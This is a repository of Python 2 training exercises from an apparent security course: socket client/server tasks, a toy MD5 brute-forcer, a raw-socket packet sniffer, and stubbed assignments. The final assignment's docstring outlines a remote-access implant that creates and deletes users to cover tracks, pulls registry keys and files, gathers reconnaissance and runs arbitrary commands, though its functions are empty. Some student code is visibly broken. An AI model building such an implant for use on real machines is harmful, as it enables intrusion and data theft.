'test' : 'tset' , 'success' : 'sseccus'} 41 | print "\nStarting Test 4..." 42 | for i in tests: 43 | return_string = activity04(i) 44 | if tests[i] != return_string: 45 | print "Failed: Input: %s\nExpected: %s\nReceived: %s\n" % (i, tests[i], return_string) 46 | return -1 47 | else: 48 | print "Correct:\t%s\t\t=\t%s" % (i, tests[i]) 49 | return 0 50 | 51 | def main(): 52 | test_list = [activity01test(), activity02test(), activity03test(), activity04test()] 53 | for i in test_list: 54 | if i != 0: 55 | return 56 | 57 | 58 | main() 59 | -------------------------------------------------------------------------------- /cybrary/Module 2 Apprentice/Final/Apprentice_Final_Activity.py: -------------------------------------------------------------------------------- 1 | import operator 2 | 3 | saved_string = '' 4 | 5 | def remove_letter(): #Remove a selected letter from a string 6 | base_string = str(raw_input("Enter String: ")) 7 | letter_remove = str(raw_input("Enter Letter: ")) 8 | 9 | letter_remove = letter_remove[0] 10 | print "New String: %s" % base_string.strip(letter_remove) 11 | return 12 | 13 | def num_compare(): #Compare 2 numbers to determine the larger 14 | print "Number Compare" 15 | num1 = int(raw_input("Enter First Number: ")) 16 | num2 = int(raw_input("Enter Second Number: ")) 17 | if num1 > num2 : 18 | print "First number is larger" 19 | elif num1 < num2 : 20 | print "Second number is larger" 21 | else : 22 | print "The numbers are equal" 23 | return 24 | 25 | def print_string(): #Print the previously stored string 26 | print "String: %s" % saved_string 27 | return 28 | 29 | def calculator(): #Basic Calculator (addition, subtraction, multiplication, division) 30 | print "Calculator" 31 | num1 = int(raw_input("Enter the First Number: ")) 32 | sign = str(raw_input("Enter the Action: ")) 33 | num2 = int(raw_input("Enter the Second Number: ")) 34 | sign_dict = {"+" : operator.add, "-" : operator.sub, "*" : operator.mul, "\\" : operator.div} 35 | print sign_dict[sign](num1, num2) 36 | return 37 | 38 | 39 | def accept_and_store(): #Accept and store a string 40 | global saved_string 41 | saved_string = str(raw_input("Enter String: ")) 42 | return 43 | 44 | def main(): #menu goes here 45 | 46 | # opt_list contains a list of function pointers 47 | opt_list = [accept_and_store, 48 | calculator, 49 | print_string, 50 | num_compare, 51 | remove_letter] 52 | while True: 53 | print "Select Option:" 54 | print "1\tAccept and Store" 55 | print "2\tCalculator" 56 | print "3\tPrint Stored String" 57 | print "4\tNumber Comparison" 58 | print "5\tLetter Remover" 59 | 60 | opt_choice = int(raw_input("Enter your selection: ")) 61 | opt_choice -= 1 62 | 63 | # call the funtion from opt_list 64 | opt_list[opt_choice]() 65 | return 66 | 67 | main() 68 | -------------------------------------------------------------------------------- /cybrary/Module 3 Journeyman/Activities/JourneymanActivities.py: -------------------------------------------------------------------------------- 1 | import socket 2 | # import JourneymanStringServer 3 | 4 | def journeyman1(str_list , item): 5 | 6 | # 1.1) Take two arguments, a list and an integer. The list is a series 7 | # of strings; one of those strings will be the filename, the others will 8 | # be the file contents. The integer is the location in the list of the file 9 | # name. (Write each string to a separate line) 10 | 11 | # list: 12 | # a 0 <-contents 13 | # b 1 <-contents 14 | # c 2 <-contents 15 | # d 3 <-contents 16 | # e 4 <- filename 17 | # f 5 <-contents 18 | 19 | # item: 20 | # 4 21 | 22 | # open a new file object with name being the name identified by item 23 | new_file = open(str(str_list[item]), 'w+') 24 | 25 | # remove the filename from the list 26 | str_list = str_list[:item] + str_list[item + 1:] 27 | 28 | # start writing out the list 29 | for line in str_list: 30 | new_file.write(str(line)) 31 | 32 | # close file 33 | new_file.close() 34 | 35 | return 36 | 37 | 38 | '''1.2) Write a function which takes a single integer as an argument and 39 | returns the sum of every integer up to and including that number, use a 40 | generator.''' 41 | 42 | #def sum_generator(final_num): 43 | #for i in range(final_num+1): 44 | # yield i 45 | current_num = 0 46 | while (current_num <= final_num): 47 | yield current_num 48 | current_num += 1 49 | 50 | def journeyman2(final_num): 51 | return sum(range(final_num)) 52 | total = 0 53 | for i in sum_generator(final_num): 54 | total += i 55 | return total 56 | 57 | 58 | 59 | 60 | '''1.3) Write a python script which connects to the included server 61 | on port 50001 and returns the message it receives.''' 62 | def journeyman3(): 63 | # this works with a netcat server 64 | # the JourneymanStringServer crashes after sending 'alpha' 65 | s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 66 | s.connect(('localhost', 50001)) 67 | data = s.recv(4096) 68 | s.close() 69 | return data 70 | 71 | 72 | '''1.4) Create a class called person, with height, weight, hair color, 73 | and eye color fields, then implement it to describe yourself.''' 74 | def journeyman4(): 75 | class person(object): 76 | def __init__(self, height = 0, weight = 0, hair_color = '', eye_color = ''): 77 | self.height = height 78 | self.weight = weight 79 | self.hair_color = hair_color 80 | self.eye_color = eye_color 81 | def print_info (self): 82 | print "Height:\t%d\tWeight:\t%d\tHair:\t%s\tEye:\t%s" % (self.height, self.weight, self.hair, self.eye) 83 | my_description = person(74,241,'brown', 'brown') 84 | my_description.print_info() 85 | return 86 | 87 | journeyman4() 88 | 89 | -------------------------------------------------------------------------------- /cybrary/Module 3 Journeyman/Activities/JourneymanActivitiesTester.py: -------------------------------------------------------------------------------- 1 | from JourneymanActivities import * 2 | import os 3 | 4 | def journeymantest1(): 5 | str_list_list = [ 6 | ['a','b','c','d','e'] , 7 | ['this' , 'is' , 'a' , 'chimpanzee' , 'test'] , 8 | ['item1' , 'item2' , 'item3' , 'item4' , 'item5'] 9 | ] 10 | integer_list = [1,3,0] 11 | for i in range(len(str_list_list)): 12 | working_list = [] 13 | for item in str_list_list[i]: 14 | working_list.append(item) 15 | journeyman1(str_list_list[i] , integer_list[i]) 16 | f = open(str_list_list[i][integer_list[i]]) 17 | working_list.remove(working_list[integer_list[i]]) 18 | for j in range(4): 19 | line = f.read(len(working_list[j])) 20 | if line != working_list[j]: 21 | print "Failed: %s != %s" % (line , working_list[j]) 22 | return -1 23 | print line 24 | print "\n" 25 | f.close() 26 | os.remove(str_list_list[i][integer_list[i]]) 27 | print "Test 1: SUCCESS\n" 28 | return 0 29 | 30 | def journeymantest2(): 31 | max_list = [10,4,1000,35] 32 | for i in max_list: 33 | if journeyman2(i) != sum(range(i+1)): 34 | print "Failed: %d != %d" % (journeyman2(i) , sum(range(i+1))) 35 | return -1 36 | print "%d\t:\t%d" % (i , journeyman2(i)) 37 | print "Test 2: SUCCESS\n" 38 | return 0 39 | 40 | def journeymantest3(): 41 | message_list = ['alpha' , 'bravo' , 'charlie' , 'delta'] 42 | 43 | for i in message_list: 44 | res = journeyman3() 45 | if res != i: 46 | print "Failed: %s != %s" % (res , i) 47 | return -1 48 | print res 49 | print "Test 3: SUCCESS\n" 50 | 51 | def journeymantest4(): 52 | journeyman4() 53 | 54 | def main(): 55 | journeymantest1() 56 | journeymantest2() 57 | #journeymantest3() 58 | journeymantest4() 59 | 60 | main() 61 | -------------------------------------------------------------------------------- /cybrary/Module 3 Journeyman/Activities/JourneymanFinal.py: -------------------------------------------------------------------------------- 1 | import socket 2 | import threading 3 | 4 | HOST = 'localhost' 5 | PORT = 50002 6 | OPTIONS = ['SAVE', 'LOAD'] 7 | 8 | ''' 9 | 1.5) Python Journeyman: Write a Python server which: 10 | receives a connection from the included client (JourneymanFinal.py) 11 | stores received data in a file, then adds the file to a list 12 | returns the data from the file when requested 13 | deals with errors and missing files 14 | ''' 15 | 16 | 17 | def configure_server(): 18 | # configure server to listen on localhost port 50002, and listen for up to five clients 19 | s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 20 | s.bind((HOST, PORT)) 21 | s.listen(5) 22 | return s 23 | 24 | 25 | def server_loop(): 26 | server_socket = configure_server() 27 | while True: 28 | conn, addr = server_socket.accept() 29 | client_thread = threading.Thread(target=client_handler, args=(conn,)) 30 | # setting daemon to true is required to terminated with ctrl-c 31 | client_thread.daemon = True 32 | client_thread.start() 33 | return 34 | 35 | 36 | def save_data(filename, data): 37 | # save data to filename 38 | with open(filename, 'w+') as f: 39 | f.write(data) 40 | 41 | 42 | def send_file(some_socket, filename): 43 | # read from filename and return data 44 | try: 45 | with open(filename) as f: 46 | some_socket.send(f.readline()) 47 | except: 48 | some_socket.send("File Not Found") 49 | 50 | 51 | def client_handler(client_socket): 52 | data = client_socket.recv(4096) 53 | mode = str(data[:4]) 54 | file_name = str(data[4:9]) # the fuck?! 55 | contents = str(data[9:]) 56 | if mode == OPTIONS[0]: # save 57 | save_data(file_name, contents) 58 | elif mode == OPTIONS[1]: # load 59 | send_file(client_socket, file_name) 60 | client_socket.close() 61 | return 62 | 63 | 64 | def main(): 65 | # this is quick and dirty and will be a constant loop 66 | # configure a new server and save it as server socket 67 | server_loop() 68 | return 69 | 70 | 71 | if __name__ == "__main__": 72 | main() 73 | -------------------------------------------------------------------------------- /cybrary/Module 3 Journeyman/Activities/JourneymanFinalTester.py: -------------------------------------------------------------------------------- 1 | import socket 2 | 3 | PORT = 50002 4 | 5 | files = { 6 | "File1" : "The quick brown fox jumped over the lazy dogs" , 7 | "File2" : "If a woodchuck could chuck wood" , 8 | "File3" : "Now you're just showing off" , 9 | } 10 | 11 | 12 | for i in files: 13 | s = socket.socket(socket.AF_INET , socket.SOCK_STREAM) 14 | s.connect(('127.0.0.1', PORT)) 15 | s.send("SAVE") 16 | s.send(i) 17 | s.send(files[i]) 18 | s.close() 19 | 20 | for i in files: 21 | s = socket.socket(socket.AF_INET , socket.SOCK_STREAM) 22 | s.connect(('127.0.0.1', PORT)) 23 | s.send("LOAD") 24 | s.send(i) 25 | data = s.recv(1024) 26 | if data != files[i]: 27 | print "Failed: %s != %s" % (data , files[i]) 28 | s.close() 29 | 30 | s = socket.socket(socket.AF_INET , socket.SOCK_STREAM) 31 | s.connect(('127.0.0.1', PORT)) 32 | s.send("LOAD") 33 | s.send("File4") 34 | data = s.recv(1024) 35 | if data != "File Not Found": 36 | print "Error check failed" 37 | else: 38 | print "SUCCESS!" 39 | s.close() 40 | -------------------------------------------------------------------------------- /cybrary/Module 3 Journeyman/Activities/JourneymanStringServer.py: -------------------------------------------------------------------------------- 1 | import socket 2 | 3 | 4 | 5 | def main(): 6 | HOST = '' 7 | PORT = 50001 8 | message_list = ['alpha' , 'bravo' , 'charlie' , 'delta'] 9 | 10 | for i in message_list: 11 | s = socket.socket(socket.AF_INET , socket.SOCK_STREAM) 12 | s.bind((HOST , PORT)) 13 | s.listen(1) 14 | conn, addr = s.accept() 15 | conn.send(i) 16 | conn.close() 17 | 18 | main() 19 | -------------------------------------------------------------------------------- /cybrary/Module 3 Journeyman/Solutions/JourneymanActivitiesSolution.py: -------------------------------------------------------------------------------- 1 | import socket 2 | 3 | '''1.1) Take two arguments, a list and an integer. The list is a series 4 | of strings; one of those strings will be the filename, the others will 5 | be the file contents. The integer is the location in the list of the file 6 | name. (Write each string to a separate line) 7 | 8 | list: 9 | a 0 <-contents 10 | b 1 <-contents 11 | c 2 <-contents 12 | d 3 <-contents 13 | e 4 <- filename 14 | f 5 <-contents 15 | 16 | item: 17 | 4 18 | 19 | ''' 20 | def journeyman1(str_list , item): 21 | filename = str(str_list[item]) 22 | f = open(filename, 'w+') 23 | for i in str_list: 24 | if i != str_list[item]: 25 | f.write(i) 26 | f.close() 27 | return 28 | 29 | 30 | '''1.2) Write a function which takes a single integer as an argument and 31 | returns the sum of every integer up to and including that number, use a 32 | generator.''' 33 | 34 | def sum_generator(final_num): 35 | current_num = 0 36 | 37 | while(current_num <= final_num): 38 | yield current_num 39 | current_num += 1 40 | 41 | def journeyman2(final_num): 42 | #return sum(range(final_num+1)) 43 | range_sum = sum(sum_generator(final_num)) 44 | return range_sum 45 | 46 | 47 | '''1.3) Write a python script which connects to the included server 48 | on port 50001 and returns the message it receives.''' 49 | def journeyman3(): 50 | s = socket.socket(socket.AF_INET , socket.SOCK_STREAM) #s = socket object 51 | s.connect(('127.0.0.1',50001)) #connect 52 | received_string = s.recv(1024) #get what server sends 53 | s.close() #close the socket 54 | return received_string 55 | 56 | 57 | '''1.4) Create a class called person, with height, weight, hair color, 58 | and eye color fields, then implement it to describe yourself.''' 59 | def journeyman4(): 60 | class Person: 61 | def __init__(self, height = 0, weight = 0, hair = '', eye = ''):#this is a method 62 | self.height = height 63 | self.weight = weight 64 | self.hair = hair 65 | self.eye = eye 66 | def print_info(self): 67 | print "Height:\t%d\nWeight:\t%d\nHair:\t%s\nEye:\t%s\n" % (self.height , self.weight , self.hair , self.eye) 68 | 69 | Billy = Person(6 , 180 , "black" , "blue") 70 | Billy.print_info() 71 | return 72 | 73 | 74 | 75 | -------------------------------------------------------------------------------- /cybrary/Module 3 Journeyman/Solutions/JourneymanFinalSolution.py: -------------------------------------------------------------------------------- 1 | import socket 2 | ''' 3 | 1.5) Python Journeyman: Write a Python server which: 4 | receives a connection from the included client (JourneymanFinal.py) 5 | stores received data in a file, then adds the file to a list 6 | returns the data from the file when requested 7 | deals with errors and missing files 8 | ''' 9 | 10 | class datasave: 11 | def __init__(self, name = '' , data = ''): 12 | self.name = name 13 | self.data = data 14 | return 15 | def load(self, connection): 16 | print "\nLOAD FILE" 17 | print "%s:\t%s" % (self.name , self.data) 18 | connection.send(self.data) 19 | connection.close() 20 | return 21 | 22 | 23 | 24 | def main(): 25 | HOST = '' 26 | PORT = 50002 27 | sentinel = False 28 | found_file = False 29 | 30 | opts_list = ["SAVE" , "LOAD"] 31 | obj_list = [] 32 | 33 | 34 | s = socket.socket(socket.AF_INET , socket.SOCK_STREAM) 35 | s.bind((HOST, PORT)) 36 | 37 | while(sentinel != True): 38 | s.listen(1) 39 | connection, address = s.accept() 40 | mode = connection.recv(4) 41 | 42 | if mode == opts_list[0]:#SAVE 43 | obj = datasave(connection.recv(5),connection.recv(1024)) 44 | connection.close() 45 | obj_list.append(obj) 46 | 47 | elif mode == opts_list[1]:#LOAD 48 | name = connection.recv(5) 49 | for obj in obj_list: 50 | if obj.name == name: 51 | found_file = True 52 | obj.load(connection) 53 | 54 | if found_file == False: 55 | connection.send("File Not Found") 56 | else: 57 | found_file = False #Always reset sentinels 58 | 59 | else: 60 | print mode 61 | sentinel = True 62 | 63 | s.close() 64 | 65 | main() 66 | -------------------------------------------------------------------------------- /cybrary/Module 4 Advanced/Activities/AdvancedActivities.py: -------------------------------------------------------------------------------- 1 | from ctypes import * 2 | from time import sleep #need for multithreading 3 | import threading, re 4 | 5 | '''2.1 Ctypes: Write a function which takes two arguments, title and body 6 | and creates a MessageBox with those arguments''' 7 | def python_message_box(title = '' , body = ''): 8 | return 9 | 10 | 11 | '''2.2 Ctypes: Write a function which takes two arguments, filename and 12 | data and creates a file with that data written to it''' 13 | def python_create_file(filename = '' , data = ''): 14 | return 15 | 16 | 17 | '''2.3 Ctypes: Write a function which takes one argument, a filename, 18 | and prints the data from that file''' 19 | def python_read_file(filename = ''): 20 | return 21 | 22 | '''2.4 Regex: Write a regular expression to search a data block for a 23 | string contained in <> (html-style) brackets. IE: ''' 24 | def regex_html(data): 25 | return 26 | 27 | 28 | '''2.5 Regex: Write a regular expression to search a data block for 29 | phone numbers in the form of (xxx) xxx-xxxx''' 30 | def regex_phone(data): 31 | return 32 | 33 | '''2.6 Regex: Write a regular expression to find every instance of the 34 | phrase "Nobody expects" and replace it with "The Spanish Inquisition"''' 35 | def monty_python(data): 36 | return 37 | 38 | 39 | '''2.7 Multi-threading: Write a function which runs this entire program, 40 | each function getting its own thread.''' 41 | def multiple_threads(): 42 | return 43 | 44 | def main(): 45 | multiple_threads() 46 | 47 | main() 48 | 49 | 50 | 51 | 52 | 53 | 54 | -------------------------------------------------------------------------------- /cybrary/Module 4 Advanced/Activities/FinalClient.py: -------------------------------------------------------------------------------- 1 | ''' 2 | The final activity for the Advanced Python section is a drive-wide FTP-like 3 | tool. You should be able to receive multiple connections, each on their 4 | own thread. You should take several commands: 5 | DRIVESEARCH 6 | DRIVESEARCH looks for the given filename across the entire drive. If 7 | it finds the file, it sends back the drive location. 8 | DIRSEARCH 9 | DIRSEARCH looks for the file in the given directory or its 10 | subdirectories. If it finds the file, it sends back the location. 11 | DOWNLOAD 12 | DOWNLOAD requires the full file path, or at least the relative path, 13 | of the file. It sends the contents of the file across the network. 14 | UPLOAD 15 | UPLOAD requires the full file path, or at least the relative path, 16 | where the user wants to locate the file. It reads the file contents 17 | from across the network connection. 18 | CLOSE 19 | CLOSE ends the connection 20 | 21 | This activity will require you to use multithreading, regular 22 | expressions, and some libraries with which you're unfamiliar. ENJOY! 23 | ''' 24 | 25 | import os, re, socket, threading, struct, sys 26 | from ctypes import * 27 | 28 | def read_file(filename): #ctypes 29 | return 30 | 31 | def create_file(filename, data): #ctypes 32 | return 33 | 34 | def recv_data(sock): #Implement a networking protocol 35 | return 36 | 37 | def send_data(sock,data): #Implement a networking protocol 38 | return 39 | 40 | def send_file_contents(file_name,usersock): #DOWNLOAD 41 | return 42 | 43 | def receive_file_contents(file_name,usersock):#UPLOAD 44 | return 45 | 46 | def main(): 47 | return 48 | 49 | main() 50 | 51 | 52 | 53 | -------------------------------------------------------------------------------- /cybrary/Module 4 Advanced/Activities/FinalServer.py: -------------------------------------------------------------------------------- 1 | ''' 2 | The final activity for the Advanced Python section is a drive-wide FTP-like 3 | tool. You should be able to receive multiple connections, each on their 4 | own thread. You should take several commands: 5 | DRIVESEARCH 6 | DRIVESEARCH looks for the given filename across the entire drive. If 7 | it finds the file, it sends back the drive location. 8 | DIRSEARCH 9 | DIRSEARCH looks for the file in the given directory or its 10 | subdirectories. If it finds the file, it sends back the location. 11 | DOWNLOAD 12 | DOWNLOAD requires the full file path, or at least the relative path, 13 | of the file. It sends the contents of the file across the network. 14 | UPLOAD 15 | UPLOAD requires the full file path, or at least the relative path, 16 | where the user wants to locate the file. It reads the file contents 17 | from across the network connection. 18 | CLOSE 19 | CLOSE ends the connection 20 | 21 | This activity will require you to use multithreading, ctypes, regular 22 | expressions, and some libraries with which you're unfamiliar. ENJOY! 23 | ''' 24 | 25 | import os, re, socket, threading, struct 26 | from ctypes import * 27 | 28 | def read_file(filename): #ctypes 29 | return 30 | 31 | def create_file(filename, data): #ctypes 32 | return 33 | 34 | def recv_data(sock): #Implement a networking protocol 35 | return 36 | 37 | def send_data(sock,data): #Implement a networking protocol 38 | return 39 | 40 | def search_drive(file_name): #DRIVESEARCH 41 | return 42 | 43 | def search_directory(file_name): #DIRSEARCH 44 | return 45 | 46 | def send_file_contents(file_name,usersock,userinfo): #DOWNLOAD 47 | return 48 | 49 | def receive_file_contents(file_name,usersock):#UPLOAD 50 | return 51 | 52 | def handle_connection(usersock,userinfo): 53 | return 54 | 55 | def main(): 56 | return 57 | 58 | main() 59 | -------------------------------------------------------------------------------- /cybrary/Module 4 Advanced/Activities/passcracker.py: -------------------------------------------------------------------------------- 1 | from hashlib import md5 2 | import sys 3 | 4 | 5 | def passcrack(pass_hash): 6 | for i in range(1001):#try 1-1000 7 | m = md5() 8 | m.update(str(i)) 9 | test_hash = m.hexdigest() 10 | if (test_hash != pass_hash): 11 | print "Failed: %s\t%s" % (test_hash, pass_hash) 12 | else: 13 | print "Success: %d" % i 14 | return 15 | 16 | m=md5() 17 | m.update(str(sys.argv[1])) 18 | passcrack(m.hexdigest()) 19 | -------------------------------------------------------------------------------- /cybrary/Module 5 Packet Analyzer/PacketAnalyzer.py: -------------------------------------------------------------------------------- 1 | import struct 2 | import socket 3 | import binascii 4 | import os 5 | 6 | def main(): 7 | 8 | 9 | main() 10 | -------------------------------------------------------------------------------- /cybrary/Module 5 Packet Analyzer/PacketAnalyzerSolution.py: -------------------------------------------------------------------------------- 1 | import struct 2 | import socket 3 | import binascii 4 | import os 5 | 6 | def main(): 7 | os.system('cls') 8 | rawSocket = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_RAW) 9 | #rawSocket.bind(('10.0.0.3',0)) 10 | 11 | receivedPacket = rawSocket.recv(2048) 12 | 13 | #IP Header... 14 | ipHeader=receivedPacket[0:20] 15 | ipHdr=struct.unpack("!12s4s4s",ipHeader) 16 | sourceIP = socket.inet_ntoa(ipHdr[0]) 17 | destinationIP=socket.inet_ntoa(ipHdr[2]) 18 | print "Source IP: " +sourceIP 19 | print "Destination IP: "+destinationIP 20 | 21 | #TCP Header... 22 | tcpHeader=receivedPacket[34:54] 23 | tcpHdr=struct.unpack("!2s2s16s",tcpHeader) 24 | sourcePort=socket.inet_ntoa(tcpHdr[0]) 25 | destinationPort=socket.inet_ntoa(tcpHdr[1]) 26 | print "Source Port: " + sourcePort 27 | print "Destination Port: " + destinationPort 28 | 29 | main() 30 | -------------------------------------------------------------------------------- /cybrary/Module 6 Info Gather/InfoGather.py: -------------------------------------------------------------------------------- 1 | ''' 2 | This project is something of a nod to the other course I taught. You'll 3 | be writing a python script to gather information from a host machine and 4 | send it to a target server. We'll be using a bit of the code from our 5 | previous project, which I included in this file already. 6 | 7 | HINT: We're gonna use the crap out of the subprocess module in this 8 | 9 | Your functions are as follows: 10 | create_user 11 | given a name, create a user 12 | 13 | delete_user 14 | get rid of a user, cover your tracks, or just to upset the owner 15 | 16 | download_registry_key 17 | given a root and a key path, send the value to the client 18 | 19 | download_file 20 | given a specific file name (we're not going to do a full drive 21 | search, since you already wrote that code in another project), 22 | download it to the client 23 | 24 | gather_information 25 | - using Ipconfig and Netstat, learn what addresses this machine 26 | owns, and what connections it has active 27 | - using the Net suite, gather the various pieces of intel 28 | covered in previous courses, specifically: 29 | Accounts (Password and account policy data) 30 | File (Indicates shared files or folders which are in use) 31 | localgroup(list of groups on a machine) 32 | session(Display information about sessions on a machine) 33 | share (lists all shares from the machine) 34 | user (lists users) 35 | view (list known computers in the domain) 36 | 37 | execute_command 38 | execute an arbitrary command and send the results back to the 39 | client 40 | ''' 41 | import subprocess, socket, time, struct 42 | from _winreg import * 43 | 44 | def recv_data(sock): 45 | data_len, = struct.unpack("!I",sock.recv(4)) 46 | return sock.recv(data_len) 47 | 48 | def send_data(sock,data): 49 | data_len = len(data) 50 | sock.send(struct.pack("!I",data_len)) 51 | sock.send(data) 52 | return 53 | 54 | def create_user(name,pwd): 55 | return 56 | 57 | def delete_user(name): 58 | return 59 | 60 | def download_registry_key(root, path, sock): 61 | return 62 | 63 | def download_file(file_name,sock): 64 | return 65 | 66 | def gather_information(log_name,sock): 67 | return 68 | 69 | def execute_command(cmd): 70 | return 71 | 72 | def get_data(sock, str_to_send): 73 | return 74 | 75 | def main(): 76 | return 77 | 78 | main() 79 | 80 | --------------------------------------------------------------------------------